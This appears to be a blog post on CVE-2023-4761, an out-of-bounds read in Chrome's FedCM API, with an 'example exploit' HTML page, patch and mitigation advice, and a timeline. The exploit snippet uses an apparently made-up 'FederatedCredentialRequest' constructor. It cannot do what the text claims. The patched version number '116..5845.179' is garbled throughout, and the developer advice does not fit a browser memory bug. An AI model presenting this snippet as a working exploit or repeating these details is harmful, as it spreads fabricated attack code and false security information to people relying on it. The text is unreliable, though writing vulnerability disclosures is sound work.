Summary: A high-severity vulnerability, CVE-2023-4761, has been identified within Google Chrome's Federated Credential Management (FedCM), which allows remote attackers to read unallocated memory. This post will cover salient details of the exploit, example code snippets, and recommendations for safe browsing.

The Chromium Project Security Team, working in tandem with cybersecurity experts, has recently discovered a high-severity security vulnerability affecting the Federated Credential Management (FedCM) API within Google Chrome web browsers (versions prior to 116..5845.179). The vulnerability, designated as CVE-2023-4761, facilitates out of bounds memory access, potentially allowing remote attackers to read sensitive information.

What is CVE-2023-4761?

The CVE-2023-4761 vulnerability is an out of bounds memory access issue arising from improper input validation in the FedCM API, specifically affecting Google Chrome versions prior to 116..5845.179. This risk allows remote attackers to read unallocated memory via a malicious HTML page.

The Chromium security team has classified the vulnerability's severity as high, emphasizing the importance of addressing this issue.

Exploiting CVE-2023-4761

To provide context, consider the following example code snippet illustrating how an attacker might exploit the CVE-2023-4761 vulnerability:

<!DOCTYPE html>
<html>
<head>
  <script>
  async function exploit() {
    // Crafting the malicious HTML page...
    let vulnerableDiv = document.createElement('div');
    vulnerableDiv.setAttribute('id', 'vulnerableDiv');
    document.body.appendChild(vulnerableDiv);

    // Creating a new credential request...
    let request = new FederatedCredentialRequest(vulnerableDiv);

    // Initiating the attack...
    await request.show();
  }
  </script>
</head>
<body>
  <button type="button" onclick="exploit()">Trigger Exploit</button>
</body>
</html>

In the above code snippet, the attacker initiates an asynchronous function exploit, which creates a malicious div element and sends a new credential request using the vulnerable FedCM API. Once a user triggers the exploit via a webpage button, the attacker may execute out of bounds memory access, potentially obtaining sensitive information.

Staying Secure: Recommendations for Users and Developers

To counter the CVE-2023-4761 vulnerability, Google Chrome users should ensure they are using the most up-to-date version of the browser. The Chromium team has patched the vulnerability in version 116..5845.179, which can be downloaded from the Google Chrome official website or updated through your browser's settings.

Web developers can mitigate potential dangers by ensuring server-side validation is in place for any user-submitted content, along with verifying incoming requests to their websites. Additionally, implementing Content Security Policies (CSP) can provide an extra layer of security by preventing unauthorized code execution on webpages.

References and Further Reading

1. Chromium Git Commit - Fixing CVE-2023-4761
2. Google Chrome Releases - Stable Channel Update
3. Federated Credential Management API - Official Documentation

In conclusion, the CVE-2023-4761 vulnerability in FedCM within Chrome poses a high-severity risk to user privacy and security. As such, it is crucial to stay informed about updates to Chrome and other web technologies while diligently implementing best practices for secure browsing and web development.

Timeline

Published on: 09/05/2023 22:15:00 UTC
Last modified on: 09/08/2023 15:45:00 UTC